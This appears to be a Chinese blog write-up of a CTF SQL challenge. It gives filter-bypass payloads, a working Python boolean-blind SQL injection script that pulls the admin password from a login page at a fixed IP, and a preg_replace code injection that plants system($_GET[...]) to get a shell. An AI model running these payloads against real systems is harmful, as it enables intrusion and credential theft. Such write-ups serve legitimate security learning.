网络内生安全试验场-201909-SQL-wp

  • fuzz发现几个重要过滤点 (包括 ’ , = , select , sleep 等)
    在这里插入图片描述
    以下为未过滤的sql注入关键词
    在这里插入图片描述
    那么现在来捋下思路,select被ban,意味着爆库名表名这条路走不通
    考虑从爆password入手(当然,听学长说貌似也可以尝试堆叠,但我尝试后发现insert和sleep等被过滤,也就不再继续)
    绕过细节:
  • %20用/**/代替
  • substr和=的组合用regexp代替
  • %23用;加%00截断代替(/*貌似不行?因为没有*/闭合)
  • 无法手动添加单引号闭合,就用\转义原sql语句里的单引号(对于单引号过滤的case,我现在能想到的思路也就只有转义or宽字节,以后见多了再回来补充吧)

测试语句如下,页面有了回显(但提示用admin登陆,那就是确定要爆出完整密码了)
在这里插入图片描述
构造poc:
username=&passwd=||passwd/**/regexp/**/"^a";%00
先拖进bp爆破看看第一个字符正确匹配时页面回显内容是什么,才能进一步编写脚本(bool盲注)
发现总共有以下三种case:
在这里插入图片描述
在这里插入图片描述
这种情况可能是撞到了数据库里非admin用户的密码,所以才显示visitor
最后一种就是啥回显都没有
那么很显然,我们就要去撞返回信息里有Welcome admin!的页面
(payload也可以改为regexp/**/binary/**/,因为mysql的regexp不区分大小写)
脚本如下:

import requests
from urllib.parse import unquote

url = 'http://39.106.94.18:13004/login.php'
dict = '0123456789abcdefABCDEF'
username = '\\'
passwd = '||passwd/**/regexp/**/binary/**/"^%s";%%00'
cur = ''
for i in range(32):
	for c in dict:
		params = {'username':username, 'passwd':unquote(passwd%(cur+c))}
		print(unquote(passwd%(cur+c)))
		r = requests.get(url, params = params)
		if 'Welcome admin'.encode() in r.content:
			cur += c
			break
print(cur)

有几个小坑…

  • 记得发passwd前unquote下,否则%00被二次编码
  • 很多出题人喜欢把敏感信息放在text读不到的地方,所以最好用content代替text(只不过要记得用encode把’Welcome admin!'转为bytes)
  • 因为是mysql里的passwd,所以这里直接用md5来跑了,省事

在这里插入图片描述
值得一吐槽的是…这道题的passwd明文存储…而且存的明文也是md5…
所以别费力气md5解密

登陆成功以后,是如下界面
在这里插入图片描述
大大的一个ping,命令执行漏洞?
结果发现没用
上御剑扫子域名扫出flag.php(所以记得字典里带个flag*
访问呗
发现show_source,而且里面有我们刚刚输入的内容
在这里插入图片描述
那么攻击点应该就在$flag=‘xxx’上,而且看上去能解析形成的语句(不然做个**
**但尝试发现 ’ 和 \ 都被过滤**
那怎么闭合单引号嘞
看一眼官方wp(说是源码用了preg_replace
那就有了新的闭合方式
先输入;system($_GET[1551]);
再输入$0 ( 此时的$0即为$flag=’;system($_GET[1551]);’; )
因为猜测preg_replace(’/*/’, replacement, string)

此时再访问flag.php,发现内容已经更改如下:
在这里插入图片描述
尝试直接在flag.php页GET传参,无果
再看看源码发现还有个show.php
访问getshell,并在根目录下发现flag
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值